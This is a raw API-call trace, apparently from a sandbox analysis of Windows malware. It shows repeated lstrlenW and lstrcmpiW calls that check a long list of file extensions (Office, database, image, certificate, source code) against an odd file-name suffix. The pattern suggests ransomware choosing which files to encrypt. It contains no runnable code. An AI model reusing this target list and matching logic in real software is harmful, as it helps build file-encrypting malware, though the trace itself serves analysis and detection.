	[0132.686] lstrcmpiW (lpString1=".accda", lpString2="fr].yG") returned -1
	[0132.686] lstrlenW (lpString=".accdb") returned 6
	[0132.686] lstrcmpiW (lpString1=".accdb", lpString2="fr].yG") returned -1
	[0132.686] lstrlenW (lpString=".accdc") returned 6
	[0132.686] lstrcmpiW (lpString1=".accdc", lpString2="fr].yG") returned -1
	[0132.686] lstrlenW (lpString=".accde") returned 6
	[0132.686] lstrcmpiW (lpString1=".accde", lpString2="fr].yG") returned -1
	[0132.687] lstrlenW (lpString=".accdt") returned 6
	[0132.687] lstrcmpiW (lpString1=".accdt", lpString2="fr].yG") returned -1
	[0132.687] lstrlenW (lpString=".accdw") returned 6
	[0132.687] lstrcmpiW (lpString1=".accdw", lpString2="fr].yG") returned -1
	[0132.687] lstrlenW (lpString=".adb") returned 4
	[0132.687] lstrcmpiW (lpString1=".adb", lpString2="].yG") returned -1
	[0132.687] lstrlenW (lpString=".adp") returned 4
	[0132.687] lstrcmpiW (lpString1=".adp", lpString2="].yG") returned -1
	[0132.687] lstrlenW (lpString=".ai") returned 3
	[0132.687] lstrcmpiW (lpString1=".ai", lpString2=".yG") returned -1
	[0132.687] lstrlenW (lpString=".ai3") returned 4
	[0132.687] lstrcmpiW (lpString1=".ai3", lpString2="].yG") returned -1
	[0132.687] lstrlenW (lpString=".ai4") returned 4
	[0132.687] lstrcmpiW (lpString1=".ai4", lpString2="].yG") returned -1
	[0132.687] lstrlenW (lpString=".ai5") returned 4
	[0132.687] lstrcmpiW (lpString1=".ai5", lpString2="].yG") returned -1
	[0132.687] lstrlenW (lpString=".ai6") returned 4
	[0132.687] lstrcmpiW (lpString1=".ai6", lpString2="].yG") returned -1
	[0132.687] lstrlenW (lpString=".ai7") returned 4
	[0132.687] lstrcmpiW (lpString1=".ai7", lpString2="].yG") returned -1
	[0132.687] lstrlenW (lpString=".ai8") returned 4
	[0132.687] lstrcmpiW (lpString1=".ai8", lpString2="].yG") returned -1
	[0132.687] lstrlenW (lpString=".anim") returned 5
	[0132.687] lstrcmpiW (lpString1=".anim", lpString2="r].yG") returned -1
	[0132.687] lstrlenW (lpString=".arw") returned 4
	[0132.687] lstrcmpiW (lpString1=".arw", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".as") returned 3
	[0132.688] lstrcmpiW (lpString1=".as", lpString2=".yG") returned -1
	[0132.688] lstrlenW (lpString=".asa") returned 4
	[0132.688] lstrcmpiW (lpString1=".asa", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".asc") returned 4
	[0132.688] lstrcmpiW (lpString1=".asc", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".ascx") returned 5
	[0132.688] lstrcmpiW (lpString1=".ascx", lpString2="r].yG") returned -1
	[0132.688] lstrlenW (lpString=".asm") returned 4
	[0132.688] lstrcmpiW (lpString1=".asm", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".asmx") returned 5
	[0132.688] lstrcmpiW (lpString1=".asmx", lpString2="r].yG") returned -1
	[0132.688] lstrlenW (lpString=".asp") returned 4
	[0132.688] lstrcmpiW (lpString1=".asp", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".aspx") returned 5
	[0132.688] lstrcmpiW (lpString1=".aspx", lpString2="r].yG") returned -1
	[0132.688] lstrlenW (lpString=".asr") returned 4
	[0132.688] lstrcmpiW (lpString1=".asr", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".asx") returned 4
	[0132.688] lstrcmpiW (lpString1=".asx", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".avi") returned 4
	[0132.688] lstrcmpiW (lpString1=".avi", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".avs") returned 4
	[0132.688] lstrcmpiW (lpString1=".avs", lpString2="].yG") returned -1
	[0132.688] lstrlenW (lpString=".backup") returned 7
	[0132.688] lstrcmpiW (lpString1=".backup", lpString2=".fr].yG") returned -1
	[0132.688] lstrlenW (lpString=".bak") returned 4
	[0132.689] lstrcmpiW (lpString1=".bak", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".bay") returned 4
	[0132.689] lstrcmpiW (lpString1=".bay", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".bd") returned 3
	[0132.689] lstrcmpiW (lpString1=".bd", lpString2=".yG") returned -1
	[0132.689] lstrlenW (lpString=".bin") returned 4
	[0132.689] lstrcmpiW (lpString1=".bin", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".bmp") returned 4
	[0132.689] lstrcmpiW (lpString1=".bmp", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".bz2") returned 4
	[0132.689] lstrcmpiW (lpString1=".bz2", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".c") returned 2
	[0132.689] lstrcmpiW (lpString1=".c", lpString2="yG") returned -1
	[0132.689] lstrlenW (lpString=".cdr") returned 4
	[0132.689] lstrcmpiW (lpString1=".cdr", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".cer") returned 4
	[0132.689] lstrcmpiW (lpString1=".cer", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".cf") returned 3
	[0132.689] lstrcmpiW (lpString1=".cf", lpString2=".yG") returned -1
	[0132.689] lstrlenW (lpString=".cfc") returned 4
	[0132.689] lstrcmpiW (lpString1=".cfc", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".cfm") returned 4
	[0132.689] lstrcmpiW (lpString1=".cfm", lpString2="].yG") returned -1
	[0132.689] lstrlenW (lpString=".cfml") returned 5
	[0132.689] lstrcmpiW (lpString1=".cfml", lpString2="r].yG") returned -1
	[0132.689] lstrlenW (lpString=".cfu") returned 4
	[0132.689] lstrcmpiW (lpString1=".cfu", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".chm") returned 4
	[0132.690] lstrcmpiW (lpString1=".chm", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".cin") returned 4
	[0132.690] lstrcmpiW (lpString1=".cin", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".class") returned 6
	[0132.690] lstrcmpiW (lpString1=".class", lpString2="fr].yG") returned -1
	[0132.690] lstrlenW (lpString=".clx") returned 4
	[0132.690] lstrcmpiW (lpString1=".clx", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".config") returned 7
	[0132.690] lstrcmpiW (lpString1=".config", lpString2=".fr].yG") returned -1
	[0132.690] lstrlenW (lpString=".cpp") returned 4
	[0132.690] lstrcmpiW (lpString1=".cpp", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".cr2") returned 4
	[0132.690] lstrcmpiW (lpString1=".cr2", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".crt") returned 4
	[0132.690] lstrcmpiW (lpString1=".crt", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".crw") returned 4
	[0132.690] lstrcmpiW (lpString1=".crw", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".cs") returned 3
	[0132.690] lstrcmpiW (lpString1=".cs", lpString2=".yG") returned -1
	[0132.690] lstrlenW (lpString=".css") returned 4
	[0132.690] lstrcmpiW (lpString1=".css", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".csv") returned 4
	[0132.690] lstrcmpiW (lpString1=".csv", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".cub") returned 4
	[0132.690] lstrcmpiW (lpString1=".cub", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".dae") returned 4
	[0132.690] lstrcmpiW (lpString1=".dae", lpString2="].yG") returned -1
	[0132.690] lstrlenW (lpString=".dat") returned 4
	[0132.691] lstrcmpiW (lpString1=".dat", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".db") returned 3
	[0132.691] lstrcmpiW (lpString1=".db", lpString2=".yG") returned -1
	[0132.691] lstrlenW (lpString=".dbf") returned 4
	[0132.691] lstrcmpiW (lpString1=".dbf", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".dbx") returned 4
	[0132.691] lstrcmpiW (lpString1=".dbx", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".dc3") returned 4
	[0132.691] lstrcmpiW (lpString1=".dc3", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".dcm") returned 4
	[0132.691] lstrcmpiW (lpString1=".dcm", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".dcr") returned 4
	[0132.691] lstrcmpiW (lpString1=".dcr", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".der") returned 4
	[0132.691] lstrcmpiW (lpString1=".der", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".dib") returned 4
	[0132.691] lstrcmpiW (lpString1=".dib", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".dic") returned 4
	[0132.691] lstrcmpiW (lpString1=".dic", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".dif") returned 4
	[0132.691] lstrcmpiW (lpString1=".dif", lpString2="].yG") returned -1
	[0132.691] lstrlenW (lpString=".divx") returned 5
	[0132.691] lstrcmpiW (lpString1=".divx", lpString2="r].yG") returned -1
	[0132.691] lstrlenW (lpString=".djvu") returned 5
	[0132.691] lstrcmpiW (lpString1=".djvu", lpString2="r].yG") returned -1
	[0132.691] lstrlenW (lpString=".dng") returned 4
	[0132.691] lstrcmpiW (lpString1=".dng", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".doc") returned 4
	[0132.692] lstrcmpiW (lpString1=".doc", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".docm") returned 5
	[0132.692] lstrcmpiW (lpString1=".docm", lpString2="r].yG") returned -1
	[0132.692] lstrlenW (lpString=".docx") returned 5
	[0132.692] lstrcmpiW (lpString1=".docx", lpString2="r].yG") returned -1
	[0132.692] lstrlenW (lpString=".dot") returned 4
	[0132.692] lstrcmpiW (lpString1=".dot", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".dotm") returned 5
	[0132.692] lstrcmpiW (lpString1=".dotm", lpString2="r].yG") returned -1
	[0132.692] lstrlenW (lpString=".dotx") returned 5
	[0132.692] lstrcmpiW (lpString1=".dotx", lpString2="r].yG") returned -1
	[0132.692] lstrlenW (lpString=".dpx") returned 4
	[0132.692] lstrcmpiW (lpString1=".dpx", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".dqy") returned 4
	[0132.692] lstrcmpiW (lpString1=".dqy", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".dsn") returned 4
	[0132.692] lstrcmpiW (lpString1=".dsn", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".dt") returned 3
	[0132.692] lstrcmpiW (lpString1=".dt", lpString2=".yG") returned -1
	[0132.692] lstrlenW (lpString=".dtd") returned 4
	[0132.692] lstrcmpiW (lpString1=".dtd", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".dwg") returned 4
	[0132.692] lstrcmpiW (lpString1=".dwg", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".dwt") returned 4
	[0132.692] lstrcmpiW (lpString1=".dwt", lpString2="].yG") returned -1
	[0132.692] lstrlenW (lpString=".dx") returned 3
	[0132.692] lstrcmpiW (lpString1=".dx", lpString2=".yG") returned -1
	[0132.693] lstrlenW (lpString=".dxf") returned 4
	[0132.693] lstrcmpiW (lpString1=".dxf", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".edml") returned 5
	[0132.693] lstrcmpiW (lpString1=".edml", lpString2="r].yG") returned -1
	[0132.693] lstrlenW (lpString=".efd") returned 4
	[0132.693] lstrcmpiW (lpString1=".efd", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".elf") returned 4
	[0132.693] lstrcmpiW (lpString1=".elf", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".emf") returned 4
	[0132.693] lstrcmpiW (lpString1=".emf", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".emz") returned 4
	[0132.693] lstrcmpiW (lpString1=".emz", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".epf") returned 4
	[0132.693] lstrcmpiW (lpString1=".epf", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".eps") returned 4
	[0132.693] lstrcmpiW (lpString1=".eps", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".epsf") returned 5
	[0132.693] lstrcmpiW (lpString1=".epsf", lpString2="r].yG") returned -1
	[0132.693] lstrlenW (lpString=".epsp") returned 5
	[0132.693] lstrcmpiW (lpString1=".epsp", lpString2="r].yG") returned -1
	[0132.693] lstrlenW (lpString=".erf") returned 4
	[0132.693] lstrcmpiW (lpString1=".erf", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".exr") returned 4
	[0132.693] lstrcmpiW (lpString1=".exr", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".f4v") returned 4
	[0132.693] lstrcmpiW (lpString1=".f4v", lpString2="].yG") returned -1
	[0132.693] lstrlenW (lpString=".fido") returned 5
	[0132.694] lstrcmpiW (lpString1=".fido", lpString2="r].yG") returned -1
	[0132.694] lstrlenW (lpString=".flm") returned 4
	[0132.694] lstrcmpiW (lpString1=".flm", lpString2="].yG") returned -1
	[0132.694] lstrlenW (lpString=".flv") returned 4
	[0132.694] lstrcmpiW (lpString1=".flv", lpString2="].yG") returned -1
	[0132.694] lstrlenW (lpString=".frm") returned 4
	[0132.694] lstrcmpiW (lpString1=".frm", lpString2="].yG") returned -1
	[0132.694] lstrlenW (lpString=".fxg") returned 4
	[0132.694] lstrcmpiW (lpString1=".fxg", lpString2="].yG") returned -1
	[0132.694] lstrlenW (lpString=".geo") returned 4
	[0132.694] lstrcmpiW (lpString1=".geo", lpString2="].yG") returned -1
	[0132.694] lstrlenW (lpString=".gif") returned 4
	[0132.694] lstrcmpiW (lpString1=".gif", lpString2="].yG") returned -1
	[0132.694] lstrlenW (lpString=".grs") returned 4
	[0132.694] lstrcmpiW (lpString1=".grs", lpString2="].yG") returned -1
	[0132.694] lstrlenW (lpString=".gz") returned 3
	[0132.694] lstrcmpiW (lpString1=".gz", lpString2=".yG") returned -1
	[0132.694] lstrlenW (lpString=".h") returned 2
	[0132.694] lstrcmpiW (lpString1=".h", lpString2="yG") returned -1
	[0132.694] lstrlenW (lpString=".hdr") returned 4
	[0132.694] lstrcmpiW (lpString1=".hdr", lpString2="].yG") returned -1
	[0132.694] lstrlenW (lpString=".hpp") returned 4
	[0132.694] lstrcmpiW (lpString1=".hpp", lpString2="].yG") returned -1
	[0132.695] lstrlenW (lpString=".hta") returned 4
	[0132.695] lstrcmpiW (lpString1=".hta", lpString2="].yG") returned -1
	[0132.695] lstrlenW (lpString=".htc") returned 4
	[0132.695] lstrcmpiW (lpString1=".htc", lpString2="].yG") returned -1
	[0132.695] lstrlenW (lpString=".htm") returned 4
	[0132.695] lstrcmpiW (lpString1=".htm", lpString2="].yG") returned -1
	[0132.695] lstrlenW (lpString=".html") returned 5
	[0132.695] lstrcmpiW (lpString1=".html", lpString2="r].yG") returned -1
	[0132.695] lstrlenW (lpString=".icb") returned 4
	[0132.695] lstrcmpiW (lpString1=".icb", lpString2="].yG") returned -1
	[0132.695] lstrlenW (lpString=".ics") returned 4
	[0132.695] lstrcmpiW (lpString1=".ics", lpString2="].yG") returned -1
	[0132.695] lstrlenW (lpString=".iff") returned 4
	[0132.695] lstrcmpiW (lpString1=".iff", lpString2="].yG") returned -1
	[0132.695] lstrlenW (lpString=".inc") returned 4
	[0132.695] lstrcmpiW (lpString1=".inc", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".indd") returned 5
	[0132.696] lstrcmpiW (lpString1=".indd", lpString2="r].yG") returned -1
	[0132.696] lstrlenW (lpString=".ini") returned 4
	[0132.696] lstrcmpiW (lpString1=".ini", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".iqy") returned 4
	[0132.696] lstrcmpiW (lpString1=".iqy", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".j2c") returned 4
	[0132.696] lstrcmpiW (lpString1=".j2c", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".j2k") returned 4
	[0132.696] lstrcmpiW (lpString1=".j2k", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".java") returned 5
	[0132.696] lstrcmpiW (lpString1=".java", lpString2="r].yG") returned -1
	[0132.696] lstrlenW (lpString=".jp2") returned 4
	[0132.696] lstrcmpiW (lpString1=".jp2", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".jpc") returned 4
	[0132.696] lstrcmpiW (lpString1=".jpc", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".jpe") returned 4
	[0132.696] lstrcmpiW (lpString1=".jpe", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".jpeg") returned 5
	[0132.696] lstrcmpiW (lpString1=".jpeg", lpString2="r].yG") returned -1
	[0132.696] lstrlenW (lpString=".jpf") returned 4
	[0132.696] lstrcmpiW (lpString1=".jpf", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".jpg") returned 4
	[0132.696] lstrcmpiW (lpString1=".jpg", lpString2="].yG") returned -1
	[0132.696] lstrlenW (lpString=".jpx") returned 4
	[0132.696] lstrcmpiW (lpString1=".jpx", lpString2="].yG") returned -1
	[0132.697] lstrlenW (lpString=".js") returned 3
	[0132.697] lstrcmpiW (lpString1=".js", lpString2=".yG") returned -1
	[0132.697] lstrlenW (lpString=".jsf") returned 4
	[0132.697] lstrcmpiW (lpString1=".jsf", lpString2="].yG") returned -1
	[0132.697] lstrlenW (lpString=".json") returned 5
	[0132.697] lstrcmpiW (lpString1=".json", lpString2="r].yG") returned -1
	[0132.697] lstrlenW (lpString=".jsp") returned 4
	[0132.697] lstrcmpiW (lpString1=".jsp", lpString2="].yG") returned -1
	[0132.698] lstrlenW (lpString=".kdc") returned 4
	[0132.698] lstrcmpiW (lpString1=".kdc", lpString2="].yG") returned -1
	[0132.698] lstrlenW (lpString=".kmz") returned 4
	[0132.698] lstrcmpiW (lpString1=".kmz", lpString2="].yG") returned -1
	[0132.700] lstrlenW (lpString=".kwm") returned 4
	[0132.700] lstrcmpiW (lpString1=".kwm", lpString2="].yG") returned -1
	[0132.700] lstrlenW (lpString=".lasso") returned 6
	[0132.700] lstrcmpiW (lpString1=".lasso", lpString2="fr].yG") returned -1
	[0132.700] lstrlenW (lpString=".lbi") returned 4
	[0132.700] lstrcmpiW (lpString1=".lbi", lpString2="].yG") returned -1
	[0132.700] lstrlenW (lpString=".lgf") returned 4
	[0132.700] lstrcmpiW (lpString1=".lgf", lpString2="].yG") returned -1
	[0132.700] lstrlenW (lpString=".lgp") returned 4
	[0132.700] lstrcmpiW (lpString1=".lgp", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".log") returned 4
	[0132.701] lstrcmpiW (lpString1=".log", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".m1v") returned 4
	[0132.701] lstrcmpiW (lpString1=".m1v", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".m4a") returned 4
	[0132.701] lstrcmpiW (lpString1=".m4a", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".m4v") returned 4
	[0132.701] lstrcmpiW (lpString1=".m4v", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".max") returned 4
	[0132.701] lstrcmpiW (lpString1=".max", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".md") returned 3
	[0132.701] lstrcmpiW (lpString1=".md", lpString2=".yG") returned -1
	[0132.701] lstrlenW (lpString=".mda") returned 4
	[0132.701] lstrcmpiW (lpString1=".mda", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".mdb") returned 4
	[0132.701] lstrcmpiW (lpString1=".mdb", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".mde") returned 4
	[0132.701] lstrcmpiW (lpString1=".mde", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".mdf") returned 4
	[0132.701] lstrcmpiW (lpString1=".mdf", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".mdw") returned 4
	[0132.701] lstrcmpiW (lpString1=".mdw", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".mef") returned 4
	[0132.701] lstrcmpiW (lpString1=".mef", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".mft") returned 4
	[0132.701] lstrcmpiW (lpString1=".mft", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".mfw") returned 4
	[0132.701] lstrcmpiW (lpString1=".mfw", lpString2="].yG") returned -1
	[0132.701] lstrlenW (lpString=".mht") returned 4
	[0132.701] lstrcmpiW (lpString1=".mht", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mhtml") returned 6
	[0132.702] lstrcmpiW (lpString1=".mhtml", lpString2="fr].yG") returned -1
	[0132.702] lstrlenW (lpString=".mka") returned 4
	[0132.702] lstrcmpiW (lpString1=".mka", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mkidx") returned 6
	[0132.702] lstrcmpiW (lpString1=".mkidx", lpString2="fr].yG") returned -1
	[0132.702] lstrlenW (lpString=".mkv") returned 4
	[0132.702] lstrcmpiW (lpString1=".mkv", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mos") returned 4
	[0132.702] lstrcmpiW (lpString1=".mos", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mov") returned 4
	[0132.702] lstrcmpiW (lpString1=".mov", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mp3") returned 4
	[0132.702] lstrcmpiW (lpString1=".mp3", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mp4") returned 4
	[0132.702] lstrcmpiW (lpString1=".mp4", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mpeg") returned 5
	[0132.702] lstrcmpiW (lpString1=".mpeg", lpString2="r].yG") returned -1
	[0132.702] lstrlenW (lpString=".mpg") returned 4
	[0132.702] lstrcmpiW (lpString1=".mpg", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mpv") returned 4
	[0132.702] lstrcmpiW (lpString1=".mpv", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mrw") returned 4
	[0132.702] lstrcmpiW (lpString1=".mrw", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".msg") returned 4
	[0132.702] lstrcmpiW (lpString1=".msg", lpString2="].yG") returned -1
	[0132.702] lstrlenW (lpString=".mxl") returned 4
	[0132.702] lstrcmpiW (lpString1=".mxl", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".myd") returned 4
	[0132.703] lstrcmpiW (lpString1=".myd", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".myi") returned 4
	[0132.703] lstrcmpiW (lpString1=".myi", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".nef") returned 4
	[0132.703] lstrcmpiW (lpString1=".nef", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".nrw") returned 4
	[0132.703] lstrcmpiW (lpString1=".nrw", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".obj") returned 4
	[0132.703] lstrcmpiW (lpString1=".obj", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".odb") returned 4
	[0132.703] lstrcmpiW (lpString1=".odb", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".odc") returned 4
	[0132.703] lstrcmpiW (lpString1=".odc", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".odm") returned 4
	[0132.703] lstrcmpiW (lpString1=".odm", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".odp") returned 4
	[0132.703] lstrcmpiW (lpString1=".odp", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".ods") returned 4
	[0132.703] lstrcmpiW (lpString1=".ods", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".oft") returned 4
	[0132.703] lstrcmpiW (lpString1=".oft", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".one") returned 4
	[0132.703] lstrcmpiW (lpString1=".one", lpString2="].yG") returned -1
	[0132.703] lstrlenW (lpString=".onepkg") returned 7
	[0132.703] lstrcmpiW (lpString1=".onepkg", lpString2=".fr].yG") returned 1
	[0132.703] lstrlenW (lpString=".onetoc2") returned 8
	[0132.704] lstrcmpiW (lpString1=".onetoc2", lpString2="l.fr].yG") returned -1
	[0132.704] lstrlenW (lpString=".opt") returned 4
	[0132.704] lstrcmpiW (lpString1=".opt", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".oqy") returned 4
	[0132.704] lstrcmpiW (lpString1=".oqy", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".orf") returned 4
	[0132.704] lstrcmpiW (lpString1=".orf", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".p12") returned 4
	[0132.704] lstrcmpiW (lpString1=".p12", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".p7b") returned 4
	[0132.704] lstrcmpiW (lpString1=".p7b", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".p7c") returned 4
	[0132.704] lstrcmpiW (lpString1=".p7c", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".pam") returned 4
	[0132.704] lstrcmpiW (lpString1=".pam", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".pbm") returned 4
	[0132.704] lstrcmpiW (lpString1=".pbm", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".pct") returned 4
	[0132.704] lstrcmpiW (lpString1=".pct", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".pcx") returned 4
	[0132.704] lstrcmpiW (lpString1=".pcx", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".pdd") returned 4
	[0132.704] lstrcmpiW (lpString1=".pdd", lpString2="].yG") returned -1
	[0132.704] lstrlenW (lpString=".pdf") returned 4
	[0132.704] lstrcmpiW (lpString1=".pdf", lpString2="].yG") returned -1
	[0132.705] lstrlenW (lpString=".pdp") returned 4
	[0132.705] lstrcmpiW (lpString1=".pdp", lpString2="].yG") returned -1
	[0132.705] lstrlenW (lpString=".pef") returned 4
	[0132.705] lstrcmpiW (lpString1=".pef", lpString2="].yG") returned -1
	[0132.705] lstrlenW (lpString=".pem") returned 4
	[0132.705] lstrcmpiW (lpString1=".pem", lpString2="].yG") returned -1
	[0132.706] lstrlenW (lpString=".pff") returned 4
	[0132.706] lstrcmpiW (lpString1=".pff", lpString2="].yG") returned -1
	[0132.706] lstrlenW (lpString=".pfm") returned 4
	[0132.706] lstrcmpiW (lpString1=".pfm", lpString2="].yG") returned -1
	[0132.706] lstrlenW (lpString=".pfx") returned 4
	[0132.706] lstrcmpiW (lpString1=".pfx", lpString2="].yG") returned -1
	[0132.706] lstrlenW (lpString=".pgm") returned 4
	[0132.706] lstrcmpiW (lpString1=".pgm", lpString2="].yG") returned -1
	[0132.707] lstrlenW (lpString=".php") returned 4
	[0132.707] lstrcmpiW (lpString1=".php", lpString2="].yG") returned -1
	[0132.707] lstrlenW (lpString=".php3") returned 5
	[0132.707] lstrcmpiW (lpString1=".php3", lpString2="r].yG") returned -1
	[0132.707] lstrlenW (lpString=".php4") returned 5
	[0132.707] lstrcmpiW (lpString1=".php4", lpString2="r].yG") returned -1
	[0132.707] lstrlenW (lpString=".php5") returned 5
	[0132.707] lstrcmpiW (lpString1=".php5", lpString2="r].yG") returned -1
	[0132.707] lstrlenW (lpString=".phtml") returned 6
	[0132.707] lstrcmpiW (lpString1=".phtml", lpString2="fr].yG") returned -1
	[0132.707] lstrlenW (lpString=".pict") returned 5
	[0132.707] lstrcmpiW (lpString1=".pict", lpString2="r].yG") returned -1
	[0132.707] lstrlenW (lpString=".pl") returned 3
	[0132.707] lstrcmpiW (lpString1=".pl", lpString2=".yG") returned -1
	[0132.707] lstrlenW (lpString=".pls") returned 4
	[0132.707] lstrcmpiW (lpString1=".pls", lpString2="].yG") returned -1
	[0132.707] lstrlenW (lpString=".pm") returned 3
	[0132.707] lstrcmpiW (lpString1=".pm", lpString2=".yG") returned -1
	[0132.707] lstrlenW (lpString=".png") returned 4
	[0132.707] lstrcmpiW (lpString1=".png", lpString2="].yG") returned -1
	[0132.707] lstrlenW (lpString=".pnm") returned 4
	[0132.707] lstrcmpiW (lpString1=".pnm", lpString2="].yG") returned -1
	[0132.707] lstrlenW (lpString=".pot") returned 4
	[0132.707] lstrcmpiW (lpString1=".pot", lpString2="].yG") returned -1
	[0132.707] lstrlenW (lpString=".potm") returned 5
	[0132.707] lstrcmpiW (lpString1=".potm", lpString2="r].yG") returned -1
	[0132.707] lstrlenW (lpString=".potx") returned 5
	[0132.708] lstrcmpiW (lpString1=".potx", lpString2="r].yG") returned -1
	[0132.708] lstrlenW (lpString=".ppa") returned 4
	[0132.708] lstrcmpiW (lpString1=".ppa", lpString2="].yG") returned -1
	[0132.708] lstrlenW (lpString=".ppam") returned 5
	[0132.708] lstrcmpiW (lpString1=".ppam", lpString2="r].yG") returned -1
	[0132.708] lstrlenW (lpString=".ppm") returned 4
	[0132.708] lstrcmpiW (lpString1=".ppm", lpString2="].yG") returned -1
	[0132.708] lstrlenW (lpString=".pps") returned 4
	[0132.708] lstrcmpiW (lpString1=".pps", lpString2="].yG") returned -1
	[0132.708] lstrlenW (lpString=".ppsm") returned 5
	[0132.708] lstrcmpiW (lpString1=".ppsm", lpString2="r].yG") returned -1
